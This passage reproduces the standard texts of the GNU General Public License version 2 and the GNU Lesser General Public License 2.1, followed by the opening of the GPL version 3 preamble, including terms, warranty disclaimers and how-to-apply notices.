apply it to your programs, too.\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are\ndesigned to make sure that you have the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it if you want it, that you can change the\nsoftware or use pieces of it in new free programs; and that you know you can do these things.\nTo protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask\nyou to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute\ncopies of the software, or if you modify it.\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must give the\nrecipients all the rights that you have. You must make sure that they, too, receive or can get the source\ncode. And you must show them these terms so they know their rights.\nWe protect your rights with two steps: (1) copyright the software, and (2) offer you this license which\ngives you legal permission to copy, distribute and/or modify the software.\nAlso, for each author’s protection and ours, we want to make certain that everyone understands that\nthere is no warranty for this free software. If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so that any problems introduced by\nothers will not reflect on the original authors’ reputations.\nFinally, any free program is threatened constantly by software patents. We wish to avoid the danger that\nredistributors of a free program will individually obtain patent licenses, in effect making the program proprietary.\nTo prevent this, we have made it clear that any patent must be licensed for everyone’s free use or\nnot licensed at all.\nThe precise terms and conditions for copying, distribution and modification follow.\nGNU GENERAL PUBLIC LICENSE\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n0. This License applies to any program or other work which contains a notice placed by the copyright\nholder saying it may be distributed under the terms of this General Public License. The “Program”,\nbelow, refers to any such program or work, and a “work based on the Program” means either the\nProgram or any derivative work under copyright law: that is to say, a work containing the Program\nor a portion of it, either verbatim or with modifications and/or translated into another language.\n(Hereinafter, translation is included without limitation in the term “modification”.) Each licensee is\naddressed as “you”.\nActivities other than copying, distribution and modification are not covered by this License; they are\noutside its scope. The act of running the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the Program (independent of having been \nmade by running the Program). Whether that is true depends on what the Program does.\n1. You may copy and distribute verbatim copies of the Program’s source code as you receive it, in any\nmedium, provided that you conspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and\nto the absence of any warranty; and give any other recipients of the Program a copy of this License\nalong with the Program.\nYou may charge a fee for the physical act of transferring a copy, and you may at your option offer\nwarranty protection in exchange for a fee.\n2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based\non the Program, and copy and distribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\nd ) You must cause the modified files to carry prominent notices stating that you changed the\nfiles and the date of any change.\ne ) You must cause any work that you distribute or publish, that in whole or in part contains or\nis derived from the Program or any part thereof, to be licensed as a whole at no charge to all\nthird parties under the terms of this License.\nf ) If the modified program normally reads commands interactively when run, you must cause\nit, when started running for such interactive use in the most ordinary way, to print or display\nan announcement including an appropriate copyright notice and a notice that there is no\nwarranty (or else, saying that you provide a warranty) and that users may redistribute the\nprogram under these conditions, and telling the user how to view a copy of this License.\n(Exception: if the Program itself is interactive but does not normally print such an announcement,\nyour work based on the Program is not required to print an announcement.)\nThese requirements apply to the modified work as a whole. If identifiable sections of that work are\nnot derived from the Program, and can be reasonably considered independent and separate works\nin themselves, then this License, and its terms, do not apply to those sections when you distribute\nthem as separate works. But when you distribute the same sections as part of a whole which is a\nwork based on the Program, the distribution of the whole must be on the terms of this License,\nwhose permissions for other licensees extend to the entire whole, and thus to each and every part\nregardless of who wrote it.\nThus, it is not the intent of this section to claim rights or contest your rights to work written entirely\nby you; rather, the intent is to exercise the right to control the distribution of derivative or collective\nworks based on the Program.\nIn addition, mere aggregation of another work not based on the Program with the Program (or with\na work based on the Program) on a volume of a storage or distribution medium does not bring the\nother work under the scope of this License.\n3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or\nexecutable form under the terms of Sections 1 and 2 above provided that you also do one of the\nfollowing:\na ) Accompany it with the complete corresponding machine-readable source code, which must\nbe distributed under the terms of Sections 1 and 2 above on a medium customarily used for\nsoftware interchange; or,\nb ) Accompany it with a written offer, valid for at least three years, to give any third party, for a\ncharge no more than your cost of physically performing source distribution, a complete machine-readable\ncopy of the corresponding source code, to be distributed under the terms of\nSections 1 and 2 above on a medium customarily used for software interchange; or,\nc ) Accompany it with the information you received as to the offer to distribute corresponding\nsource code. (This alternative is allowed only for noncommercial distribution and only if you \nreceived the program in object code or executable form with such an offer, in accord with\nSubsection b above.)\nThe source code for a work means the preferred form of the work for making modifications to it. For\nan executable work, complete source code means all the source code for all modules it contains,\nplus any associated interface definition files, plus the scripts used to control compilation and installation\nof the executable. However, as a special exception, the source code distributed need not\ninclude anything that is normally distributed (in either source or binary form) with the major components\n(compiler, kernel, and so on) of the operating system on which the executable runs, unless\nthat component itself accompanies the executable.\nIf distribution of executable or object code is made by offering access to copy from a designated\nplace, then offering equivalent access to copy the source code from the same place counts as distribution\nof the source code, even though third parties are not compelled to copy the source along\nwith the object code.\n4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under\nthis License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void,\nand will automatically terminate your rights under this License. However, parties who have received\ncopies, or rights, from you under this License will not have their licenses terminated so long as such\nparties remain in full compliance.\n5. You are not required to accept this License, since you have not signed it. However, nothing else\ngrants you permission to modify or distribute the Program or its derivative works. These actions\nare prohibited by law if you do not accept this License. Therefore, by modifying or distributing the\nProgram (or any work based on the Program), you indicate your acceptance of this License to do so,\nand all its terms and conditions for copying, distributing or modifying the Program or works based\non it.\n6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically\nreceives a license from the original licensor to copy, distribute or modify the Program subject\nto these terms and conditions. You may not impose any further restrictions on the recipients’ exercise\nof the rights granted herein. You are not responsible for enforcing compliance by third parties\nto this License.\n7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason\n(not limited to patent issues), conditions are imposed on you (whether by court order, agreement\nor otherwise) that contradict the conditions of this License, they do not excuse you from the conditions\nof this License. If you cannot distribute so as to satisfy simultaneously your obligations under\nthis License and any other pertinent obligations, then as a consequence you may not distribute the\nProgram at all. For example, if a patent license would not permit royalty-free redistribution of the\nProgram by all those who receive copies directly or indirectly through you, then the only way you\ncould satisfy both it and this License would be to refrain entirely from distribution of the Program.\nIf any portion of this section is held invalid or unenforceable under any particular circumstance, the\nbalance of the section is intended to apply and the section as a whole is intended to apply in other\ncircumstances.\nIt is not the purpose of this section to induce you to infringe any patents or other property right\nclaims or to contest validity of any such claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is implemented by public license practices.\nMany people have made generous contributions to the wide range of software distributed through\nthat system in reliance on consistent application of that system; it is up to the author/donor to\ndecide if he or she is willing to distribute software through any other system and a licensee cannot\nimpose that choice.\nThis section is intended to make thoroughly clear what is believed to be a consequence of the rest\nof this License.\n8. If the distribution and/or use of the Program is restricted in certain countries either by patents or\nby copyrighted interfaces, the original copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding those countries, so that distribution\nis permitted only in or among countries not thus excluded. In such case, this License incorporates\nthe limitation as if written in the body of this License.\n9. The Free Software Foundation may publish revised and/or new versions of the General Public License\nfrom time to time. Such new versions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Program specifies a version number of\nthis License which applies to it and “any later version”, you have the option of following the terms\nand conditions either of that version or of any later version published by the Free Software Foundation.\nIf the Program does not specify a version number of this License, you may choose any version\never published by the Free Software Foundation.\n10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions\nare different, write to the author to ask for permission. For software which is copyrighted by\nthe Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions\nfor this. Our decision will be guided by the two goals of preserving the free status of all derivatives\nof our free software and of promoting the sharing and reuse of software generally.\nNO WARRANTY\n11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM,\nTO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN\nWRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT\nWARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE\nENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR\nCORRECTION.\n12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT\nHOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM\nAS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL\nOR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM\n(INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR\nLOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH\nANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY\nOF SUCH DAMAGES.\nEND OF TERMS AND CONDITIONS\nHow to Apply These Terms to Your New Programs\nIf you develop a new program, and you want it to be of the greatest possible use to the public, the best\nway to achieve this is to make it free software which everyone can redistribute and change under these\nterms.\nTo do so, attach the following notices to the program. It is safest to attach them to the start of each source\nfile to most effectively convey the exclusion of warranty; and each file should have at least the “copyright”\nline and a pointer to where the full notice is found.\n<one line to give the program’s name and a brief idea of what it does.>\nCopyright (C) <year> <name of author>\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General\nPublic License as published by the Free Software Foundation; either version 2 of the License, or (at your\noption) any later version.\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\nYou should have received a copy of the GNU General Public License along with this program; if not, write\nto the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\nAlso add information on how to contact you by electronic and paper mail. If the program is interactive,\nmake it output a short notice like this when it starts in an interactive mode:\nGnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO\nWARRANTY; for details type `show w’. This is free software, and you are welcome to redistribute it under\ncertain conditions; type `show c’ for details.\nThe hypothetical commands `show w’ and `show c’ should show the appropriate parts of the General\nPublic License. Of course, the commands you use may be called something other than `show w’ and\n`show c’; they could even be mouse-clicks or menu items--whatever suits your program.\nYou should also get your employer (if you work as a programmer) or your school, if any, to sign a “copyright\ndisclaimer” for the program, if necessary. Here is a sample; alter the names:\nYoyodyne, Inc., hereby disclaims all copyright interest in the program Gnomovision’ (which makes passes\nat compilers) written by James Hacker.\n<signature of Ty Coon>, 1 April 1989\nTy Coon, President of Vice\nThis General Public License does not permit incorporating your program into proprietary programs. If\nyour program is a subroutine library, you may consider it more useful to permit linking proprietary applications\nwith the library. If this is what you want to do, use the GNU Lesser General Public License instead\nof this License.\nGNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999\n Copyright (C) 1991, 1999 Free Software Foundation, Inc.\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is\nnot allowed.\n[This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public\nLicense, version 2, hence the version number 2.1.]\nPreamble\nThe licenses for most software are designed to take away your freedom to share and change it. By contrast,\nthe GNU General Public Licenses are intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.\nThis license, the Lesser General Public License, applies to some specially designated software packages--typically\nlibraries--of the Free Software Foundation and other authors who decide to use it.You can\nuse it too, but we suggest you first think carefully about whether this license or the ordinary General Public\nLicense is the better strategy to use in any particular case, based on the explanations below.\nWhen we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses\nare designed to make sure that you have the freedom to distribute copies of free software (and charge\nfor this service if you wish); that you receive source code or can get it if you want it; that you can change\nthe software and use pieces of it in new free programs; and that you are informed that you can do these\nthings.\nTo protect your rights, we need to make restrictions that forbid distributors to deny you these rights or\nto ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you\ndistribute copies of the library or if you modify it.\nFor example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients\nall the rights that we gave you. You must make sure that they, too, receive or can get the source code. If\nyou link other code with the library, you must provide complete object files to the recipients, so that they\ncan relink them with the library after making changes to the library and recompiling it. And you must\nshow them these terms so they know their rights.\nWe protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this\nlicense, which gives you legal permission to copy, distribute and/or modify the library.\nTo protect each distributor, we want to make it very clear that there is no warranty for the free library.\nAlso, if the library is modified by someone else and passed on, the recipients should know that what they\nhave is not the original version, so that the original author’s reputation will not be affected by problems\nthat might be introduced by others.\nFinally, software patents pose a constant threat to the existence of any free program. We wish to make\nsure that a company cannot effectively restrict the users of a free program by obtaining a restrictive\nlicense from a patent holder. Therefore, we insist that any patent license obtained for a version of the\nlibrary must be consistent with the full freedom of use specified in this license.\nMost GNU software, including some libraries, is covered by the ordinary GNU General Public License. This\nlicense, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different\nfrom the ordinary General Public License. We use this license for certain libraries in order to permit\nlinking those libraries into non-free programs.\nWhen a program is linked with a library, whether statically or using a shared library, the combination of\nthe two is legally speaking a combined work, a derivative of the original library. The ordinary General\nPublic License therefore permits such linking only if the entire combination fits its criteria of freedom. The\nLesser General Public License permits more lax criteria for linking other code with the library.\nWe call this license the “Lesser” General Public License because it does Less to protect the user’s freedom\nthan the ordinary General Public License. It also provides other free software developers Less of an advantage\nover competing non-free programs. These disadvantages are the reason we use the ordinary\nGeneral Public License for many libraries. However, the Lesser license provides advantages in certain\nspecial circumstances.\nFor example, on rare occasions, there may be a special need to encourage the widest possible use of a\ncertain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed\nto use the library. A more frequent case is that a free library does the same job as widely used nonfree\nlibraries. In this case, there is little to gain by limiting the free library to free software only, so we use\nthe Lesser General Public License.\nIn other cases, permission to use a particular library in non-free programs enables a greater number of\npeople to use a large body of free software. For example, permission to use the GNU C Library in non-free\nprograms enables many more people to use the whole GNU operating system, as well as its variant, the\nGNU/Linux operating system.\n Although the Lesser General Public License is Less protective of the users’ freedom, it does ensure that\nthe user of a program that is linked with the Library has the freedom and the wherewithal to run that\nprogram using a modified version of the Library.\n The precise terms and conditions for copying, distribution and modification follow. Pay close attention to\nthe difference between a “work based on the library” and a “work that uses the library”. The former contains\ncode derived from the library, whereas the latter must be combined with the library in order to run.\nGNU LESSER GENERAL PUBLIC LICENSE\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n0. This License Agreement applies to any software library or other program which contains a notice\nplaced by the copyright holder or other authorized party saying it may be distributed under the\nterms of this Lesser General Public License (also called “this License”). Each licensee is addressed as\n“you”.\nA “library” means a collection of software functions and/or data prepared so as to be conveniently\nlinked with application programs (which use some of those functions and data) to form executables.\nThe “Library”, below, refers to any such software library or work which has been distributed under\nthese terms. A “work based on the Library” means either the Library or any derivative work under\ncopyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with\nmodifications and/or translated straightforwardly into another language. (Hereinafter, translation is\nincluded without limitation in the term “modification”.)\n“Source code” for a work means the preferred form of the work for making modifications to it. For a\nlibrary, complete source code means all the source code for all modules it contains, plus any associated\ninterface definition files, plus the scripts used to control compilation and installation of the\nlibrary.\nActivities other than copying, distribution and modification are not covered by this License; they are\noutside its scope. The act of running a program using the Library is not restricted, and output from\nsuch a program is covered only if its contents constitute a work based on the Library (independent\nof the use of the Library in a tool for writing it). Whether that is true depends on what the Library\ndoes and what the program that uses the Library does.\n1. You may copy and distribute verbatim copies of the Library’s complete source code as you receive\nit, in any medium, provided that you conspicuously and appropriately publish on each copy an\nappropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this\nLicense and to the absence of any warranty; and distribute a copy of this License along with the\nLibrary.\nYou may charge a fee for the physical act of transferring a copy, and you may at your option offer \nwarranty protection in exchange for a fee.\n2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based\non the Library, and copy and distribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\na ) The modified work must itself be a software library.\nb ) You must cause the files modified to carry prominent notices stating that you changed the\nfiles and the date of any change.\nc ) You must cause the whole of the work to be licensed at no charge to all third parties under\nthe terms of this License.\nd ) If a facility in the modified Library refers to a function or a table of data to be supplied by an\napplication program that uses the facility, other than as an argument passed when the facility\nis invoked, then you must make a good faith effort to ensure that, in the event an application\ndoes not supply such function or table, the facility still operates, and performs whatever\npart of its purpose remains meaningful.\n(For example, a function in a library to compute square roots has a purpose that is entirely well-defined\nindependent of the application. Therefore, Subsection 2d requires that any application-supplied\nfunction or table used by this function must be optional: if the application does not supply it,\nthe square root function must still compute square roots.)\nThese requirements apply to the modified work as a whole. If identifiable sections of that work are\nnot derived from the Library, and can be reasonably considered independent and separate works\nin themselves, then this License, and its terms, do not apply to those sections when you distribute\nthem as separate works.But when you distribute the same sections as part of a whole which is a\nwork based on the Library, the distribution of the whole must be on the terms of this License, whose\npermissions for other licensees extend to the entire whole, and thus to each and every part regardless\nof who wrote it.\nThus, it is not the intent of this section to claim rights or contest your rights to work written entirely\nby you; rather, the intent is to exercise the right to control the distribution of derivative or collective\nworks based on the Library.\nIn addition, mere aggregation of another work not based on the Library with the Library (or with\na work based on the Library) on a volume of a storage or distribution medium does not bring the\nother work under the scope of this License.\n3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License\nto a given copy of the Library.To do this, you must alter all the notices that refer to this License, so\nthat they refer to the ordinary GNU General Public License, version 2, instead of to this License.(If a\nnewer version than version 2 of the ordinary GNU General Public License has appeared, then you\ncan specify that version instead if you wish.)Do not make any other change in these notices.\nOnce this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General\nPublic License applies to all subsequent copies and derivative works made from that copy.\nThis option is useful when you wish to copy part of the code of the Library into a program that is not\na library.\n4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object\ncode or executable form under the terms of Sections 1 and 2 above provided that you accompany it\nwith the complete corresponding machine-readable source code, which must be distributed under\nthe terms of Sections 1 and 2 above on a medium customarily used for software interchange.\nIf distribution of object code is made by offering access to copy from a designated place, then offering\nequivalent access to copy the source code from the same place satisfies the requirement to\ndistribute the source code, even though third parties are not compelled to copy the source along\nwith the object code.\n5. A program that contains no derivative of any portion of the Library, but is designed to work with the\nLibrary by being compiled or linked with it, is called a “work that uses the Library”. Such a work, in\nisolation, is not a derivative work of the Library, and therefore falls outside the scope of this License.\nHowever, linking a “work that uses the Library” with the Library creates an executable that is a derivative\nof the Library (because it contains portions of the Library), rather than a “work that uses the\nlibrary”. The executable is therefore covered by this License. Section 6 states terms for distribution of\nsuch executables.\nWhen a “work that uses the Library” uses material from a header file that is part of the Library, the\nobject code for the work may be a derivative work of the Library even though the source code is\nnot. Whether this is true is especially significant if the work can be linked without the Library, or if\nthe work is itself a library. The threshold for this to be true is not precisely defined by law.\nIf such an object file uses only numerical parameters, data structure layouts and accessors, and\nsmall macros and small inline functions (ten lines or less in length), then the use of the object file is\nunrestricted, regardless of whether it is legally a derivative work. (Executables containing this object\ncode plus portions of the Library will still fall under Section 6.)\nOtherwise, if the work is a derivative of the Library, you may distribute the object code for the work\nunder the terms of Section 6. Any executables containing that work also fall under Section 6, whether\nor not they are linked directly with the Library itself.\n6. As an exception to the Sections above, you may also combine or link a “work that uses the Library”\nwith the Library to produce a work containing portions of the Library, and distribute that work under\nterms of your choice, provided that the terms permit modification of the work for the customer’s\nown use and reverse engineering for debugging such modifications.\nYou must give prominent notice with each copy of the work that the Library is used in it and that the\nLibrary and its use are covered by this License. You must supply a copy of this License. If the work\nduring execution displays copyright notices, you must include the copyright notice for the Library\namong them, as well as a reference directing the user to the copy of this License. Also, you must do\none of these things:\na ) Accompany the work with the complete corresponding machine-readable source code for\nthe Library including whatever changes were used in the work (which must be distributed\nunder Sections 1 and 2 above); and, if the work is an executable linked with the Library,\nwith the complete machine-readable “work that uses the Library”, as object code and/or\nsource code, so that the user can modify the Library and then relink to produce a modified\nexecutable containing the modified Library. (It is understood that the user who changes the\ncontents of definitions files in the Library will not necessarily be able to recompile the application\nto use the modified definitions.)\nb ) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is\none that (1) uses at run time a copy of the library already present on the user’s computer system,\nrather than copying library functions into the executable, and (2) will operate properly\nwith a modified version of the library, if the user installs one, as long as the modified version\nis interface-compatible with the version that the work was made with.\nc ) Accompany the work with a written offer, valid for at least three years, to give the same user\nthe materials specified in Subsection 6a, above, for a charge no more than the cost of performing\nthis distribution.\nd ) If distribution of the work is made by offering access to copy from a designated place, offer\nequivalent access to copy the above specified materials from the same place.\ne ) Verify that the user has already received a copy of these materials or that you have already\nsent this user a copy.\nFor an executable, the required form of the “work that uses the Library” must include any data and \nutility programs needed for reproducing the executable from it. However, as a special exception,\nthe materials to be distributed need not include anything that is normally distributed (in either\nsource or binary form) with the major components (compiler, kernel, and so on) of the operating\nsystem on which the executable runs, unless that component itself accompanies the executable.\nIt may happen that this requirement contradicts the license restrictions of other proprietary libraries\nthat do not normally accompany the operating system. Such a contradiction means you cannot use\nboth them and the Library together in an executable that you distribute.\n7. You may place library facilities that are a work based on the Library side-by-side in a single library\ntogether with other library facilities not covered by this License, and distribute such a combined\nlibrary, provided that the separate distribution of the work based on the Library and of the other\nlibrary facilities is otherwise permitted, and provided that you do these two things:\na ) Accompany the combined library with a copy of the same work based on the Library, uncombined\nwith any other library facilities. This must be distributed under the terms of the\nSections above.\nb ) Give prominent notice with the combined library of the fact that part of it is a work based on\nthe Library, and explaining where to find the accompanying uncombined form of the same\nwork.\n8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided\nunder this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute\nthe Library is void, and will automatically terminate your rights under this License. However, parties\nwho have received copies, or rights, from you under this License will not have their licenses terminated\nso long as such parties remain in full compliance.\n9. You are not required to accept this License, since you have not signed it. However, nothing else\ngrants you permission to modify or distribute the Library or its derivative works. These actions are\nprohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library\n(or any work based on the Library), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying the Library or works based on it.\n10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically\nreceives a license from the original licensor to copy, distribute, link with or modify the Library\nsubject to these terms and conditions. You may not impose any further restrictions on the recipients’\nexercise of the rights granted herein. You are not responsible for enforcing compliance by third\nparties with this License.\n11. If, as a consequence of a court judgment or allegation of patent infringement or for any other\nreason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement\nor otherwise) that contradict the conditions of this License, they do not excuse you from the\nconditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations\nunder this License and any other pertinent obligations, then as a consequence you may not distribute\nthe Library at all. For example, if a patent license would not permit royalty-free redistribution of\nthe Library by all those who receive copies directly or indirectly through you, then the only way you\ncould satisfy both it and this License would be to refrain entirely from distribution of the Library.\nIf any portion of this section is held invalid or unenforceable under any particular circumstance, the\nbalance of the section is intended to apply, and the section as a whole is intended to apply in other\ncircumstances.\nIt is not the purpose of this section to induce you to infringe any patents or other property right\nclaims or to contest validity of any such claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system which is implemented by public license practices.\nMany people have made generous contributions to the wide range of software distributed through\nthat system in reliance on consistent application of that system; it is up to the author/donor to\ndecide if he or she is willing to distribute software through any other system and a licensee cannot \nimpose that choice.\nThis section is intended to make thoroughly clear what is believed to be a consequence of the rest\nof this License.\n12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by\ncopyrighted interfaces, the original copyright holder who places the Library under this License may\nadd an explicit geographical distribution limitation excluding those countries, so that distribution is\npermitted only in or among countries not thus excluded. In such case, this License incorporates the\nlimitation as if written in the body of this License.\n13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public\nLicense from time to time. Such new versions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Library specifies a version number of\nthis License which applies to it and “any later version”, you have the option of following the terms\nand conditions either of that version or of any later version published by the Free Software Foundation.\nIf the Library does not specify a license version number, you may choose any version ever\npublished by the Free Software Foundation.\n14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions\nare incompatible with these, write to the author to ask for permission. For software which is\ncopyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this. Our decision will be guided by the two goals of preserving the free status\nof all derivatives of our free software and of promoting the sharing and reuse of software generally.\nNO WARRANTY\n15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO\nTHE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE\nCOPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY “AS IS” WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\nOF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE\nDEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT\nHOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY\nAS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,\nINCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE\nLIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE\nOR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH\nANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY\nOF SUCH DAMAGES.\nEND OF TERMS AND CONDITIONS\nHow to Apply These Terms to Your New Libraries\nIf you develop a new library, and you want it to be of the greatest possible use to the public, we recommend\nmaking it free software that everyone can redistribute and change. You can do so by permitting\nredistribution under these terms (or, alternatively, under the terms of the ordinary General Public License).\nTo apply these terms, attach the following notices to the library. It is safest to attach them to the start of\neach source file to most effectively convey the exclusion of warranty; and each file should have at least\nthe “copyright” line and a pointer to where the full notice is found.\n<one line to give the library’s name and a brief idea of what it does.>\nCopyright (C) <year> <name of author>\nThis library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser\nGeneral Public License as published by the Free Software Foundation; either version 2.1 of the License, or\n(at your option) any later version.\nThis library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\nYou should have received a copy of the GNU Lesser General Public License along with this library; if not,\nwrite to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\nAlso add information on how to contact you by electronic and paper mail.\nYou should also get your employer (if you work as a programmer) or your school, if any, to sign a “copyright\ndisclaimer” for the library, if necessary. Here is a sample; alter the names:\nYoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob’ (a library for tweaking knobs)\nwritten by James Random Hacker.\n<signature of Ty Coon>, 1 April 1990\nTy Coon, President of Vice\nThat’s all there is to it!\nGNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\nPreamble\nThe GNU General Public License is a free, copyleft license for software and other kinds of works.\nThe licenses for most software and other practical works are designed to take away your freedom to\nshare and change the works. By contrast, the GNU General Public License is intended to guarantee your\nfreedom to share and change all versions of a program--to make sure it remains free software for all its\nusers. We, the Free Software Foundation, use the GNU General Public License for most of our software; it\napplies also to any other work released this way by its authors. You can apply it to your programs, too.\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are\ndesigned to make sure that you have the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you want it, that you can change the software\nor use pieces of it in new free programs, and that you know you can do these things.\nTo protect your rights, we need to prevent others from denying you these rights or asking you to surrender\nthe rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to\nthe recipients the same freedoms that you received. You must make sure that they, too, receive or can\nget the source code. And you must show them these terms so they know their rights.\nDevelopers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software,\nand (2) offer you this License giving you legal permission to copy, distribute and/or modify it.\nFor the developers’ and authors’ protection, the GPL clearly explains that there is no warranty for this\nfree software. For both users’ and authors’ sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to authors of previous versions.\nSome devices are designed to deny users access to install or run modified versions of the software inside\nthem, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting\nusers’ freedom to change the software. The systematic pattern of such abuse occurs in the area\nof products for individuals 